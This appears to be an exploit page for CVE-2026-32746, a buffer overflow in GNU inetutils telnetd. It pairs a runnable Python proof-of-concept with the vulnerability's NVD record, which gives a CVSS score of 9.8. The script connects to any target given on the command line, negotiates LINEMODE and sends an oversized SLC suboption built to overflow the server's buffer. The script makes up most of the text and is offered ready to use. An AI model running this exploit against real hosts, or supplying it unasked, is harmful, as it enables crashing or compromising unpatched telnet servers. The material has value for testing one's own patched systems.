CVE-2026-32746

#!/usr/bin/env python3 # CVE-2026-32746 PoC - GNU inetutils telnetd LINEMODE Buffer Overflow # This PoC demonstrates sending a malformed TELNET LINEMODE SLC suboption import socket import sys def create_malformed_slc_payload(): """Create a malicious SLC payload that triggers buffer overflow""" # TELNET command codes IAC = bytes([255]) # Interpret As Command DO = bytes([253]) # Will do option WILL = bytes([251]) # Will do option SB = bytes([250]) # Subnegotiation Begin SE = bytes([240]) # Subnegotiation End LINEMODE = bytes([34]) # LINEMODE option code SLC = bytes([1]) # Set Local Characters suboption # Create overflowing SLC data - exceed buffer limits # SLC format: SLC <function> <flags> <value> overflow_data = b'' for i in range(300): # Send excessive SLC parameters overflow_data += SLC + bytes([i % 256]) + bytes([0]) + bytes([0]) # Construct the malicious subnegotiation packet payload = IAC + SB + LINEMODE + SLC + overflow_data + IAC + SE return payload def exploit_telnet(target_host, target_port=23): """Send exploit payload to target telnet service""" print(f"[*] Connecting to {target_host}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Read initial telnet handshake banner = sock.recv(1024) print(f"[*] Received banner: {banner[:50]}...") # Send LINEMODE negotiation print("[*] Sending LINEMODE negotiation...") sock.sendall(bytes([255, 253, 34])) # IAC DO LINEMODE # Send the malicious SLC payload print("[*] Sending malicious SLC payload...") payload = create_malformed_slc_payload() sock.sendall(payload) print("[+] Payload sent successfully") print("[*] If vulnerable, buffer overflow should occur") sock.close() return True except socket.error as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 exploit_telnet(target, port)

{"cve": {"id": "CVE-2026-32746", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:10.147", "lastModified": "2026-05-05T18:15:51.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "telnetd in GNU inetutils through 2.7 allows an out-of-bounds write in the LINEMODE SLC (Set Local Characters) suboption handler because add_slc does not check whether the buffer is full."}, {"lang": "es", "value": "telnetd en GNU inetutils hasta 2.7 permite una escritura fuera de límites en el gestor de la subopción LINEMODE SLC (Set Local Characters) porque add_slc no verifica si el búfer está lleno."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:inetutils:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7", "matchCriteriaId": "6381CFAE-9A10-40ED-BC93-1DB55CB44327"}]}]}], "references": [{"url": "https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/03/12/4", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/14/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://github.com/watchtowrlabs/watchtowr-vs-telnetd-CVE-2026-32746", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}